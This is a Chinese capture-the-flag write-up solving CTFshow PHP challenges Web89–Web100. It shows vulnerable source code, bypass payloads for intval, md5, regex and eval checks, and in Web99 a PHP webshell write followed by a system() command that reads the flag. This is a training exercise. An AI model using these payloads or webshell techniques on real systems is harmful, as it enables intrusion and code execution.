【CTFshow php特性 Web89-100】2021.8.29 CTFshow刷题

本文最后更新于:2021年8月30日晚上6点04分

Web89

开始php特性系列了,师傅们,冲冲冲!

打开题目:

image-20210829175513875

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

利用数组绕过:

1
?num[]

官方Hint:

通过数组绕过

Web90

开始php特性系列了,师傅们,冲冲冲!

打开题目:

image-20210829182702908

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

利用intval性质,各种进制绕过:

1
?num=0x117c
1
?num=010574
1
?num=0b1000101111100

官方Hint:

(不对)

因为我们提交的参数值默认就是字符串类型 所以我们可以直接输入 ?num=4476

Web91

开始php特性系列了,师傅们,冲冲冲!

打开题目:

image-20210829183243809

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

/im是指多行不区分大小写匹配

/i是指单行不区分大小写匹配

所以我们用%0a换行绕过

1
?cmd=%0aphp

官方Hint:

考查:正则表达式是匹配方法 https://blog.csdn.net/qq_46091464/article/details/108278486

可以通过 %0a 绕过 payload: abc%0aphp

Web92

开始php特性系列了,师傅们,冲冲冲!

打开题目:

image-20210829184109415

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

和web90一样,利用intval性质,各种进制绕过:

1
?num=0x117c
1
?num=010574
1
?num=0b1000101111100

官方Hint:

intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以

Web93

开始php特性系列了,师傅们,冲冲冲!

打开题目:

image-20210829184445147

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

过滤了字母,可以用八进制绕过:

1
?num=010574

官方Hint:

过滤了字母但是我们可以使用其他进制

就是计算 0b?? : 二进制

0??? : 八进制

0X?? : 16进制

payload : ?num=010574

Web94

开始php特性系列了,师傅们,冲冲冲!

打开题目:

image-20210829184725080

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

数字0不能放在首位,所以在第一位放一个正号

1
?num=+010574

也可以像官方WP一样,用小数点操作:

1
?num=4476.0

官方Hint:

在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476 ?num=4476.0

Web95

开始php特性系列了,师傅们,冲冲冲!

打开题目:

image-20210829185037060

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

相比上一题,第一个if比较的是数值,所以不能用小数点了,这里用正号绕过:

1
?num=+010574

官方Hint:

可以通过8进制绕过但是前面必须多加一个字节

?num=+010574或者?num=%2b010574

Web96

开始php特性系列了,师傅们,冲冲冲!

打开题目:

image-20210829185242239

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}


}

只是单纯的弱比较:

1
?u=./flag.php
1
?u=/var/www/html/flag.php

官方Hint:

在linux下面表示当前目录是 ./ 所以我们的payload: u=./flag.php

Web97

开始php特性系列了,师傅们,冲冲冲!

打开题目:

image-20210829185614477

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

用数组绕过:

1
POSTDATA: a[]=1&b[]=2

官方Hint:

通过数组绕过 a[]=1&b[]=2

Web98

开始php特性系列了,师傅们,冲冲冲!

打开题目:

image-20210829190247864

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

用了三目运算符,三目运算符用法如下:

1
2
3
4
5
6
2>1?$a=1:$b=2;
等价于
if(2>1)
$a=1;
else
$b=2;

利用Cookie:

1
2
3
URL中传:?1
POSTDATA中传: flag=flag
Cookie中传:HTTP_FLAG=flag

官方Hint:

https://www.php.cn/php-notebook-172859.html

https://www.php.cn/php-weizijiaocheng-383293.html

考点是PHP里面的三元运算符和传址(引用) 传址(引用)有点像c语言里面的地址 我们可以修改一下代码

所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用,因为我们不提交 flag 参数

Web99

开始php特性系列了,师傅们,冲冲冲!

打开题目:

image-20210829192220738

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

?>

传payload:

1
2
?n=1.php
POSTDATA: content=<?php eval($_POST[1]);?>

访问1.php

1
POSTDATA: 1=system("tac flag36d.php");

官方Hint:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system($_POST[1]);?>
} ?
>

Web100

后面可能停留几天,将条目理顺一些

打开题目:

image-20210829193906258

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}


?>

其中这一段代码:

1
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

这一段代码的v0值取决于v1是否是数字,与v2、v3无关。

传参:

1
?v1=1&v2=var_dump($ctfshow)?>&v3=;

得到:

image-20210829195817669

0x2d替换成减号,包裹上ctfshow即可

官方Hint:

这道题基本上没有对参数进行过滤,所以直接执行命令

1
?v1=21&v2=var_dump($ctfshow)/*&v3=*/;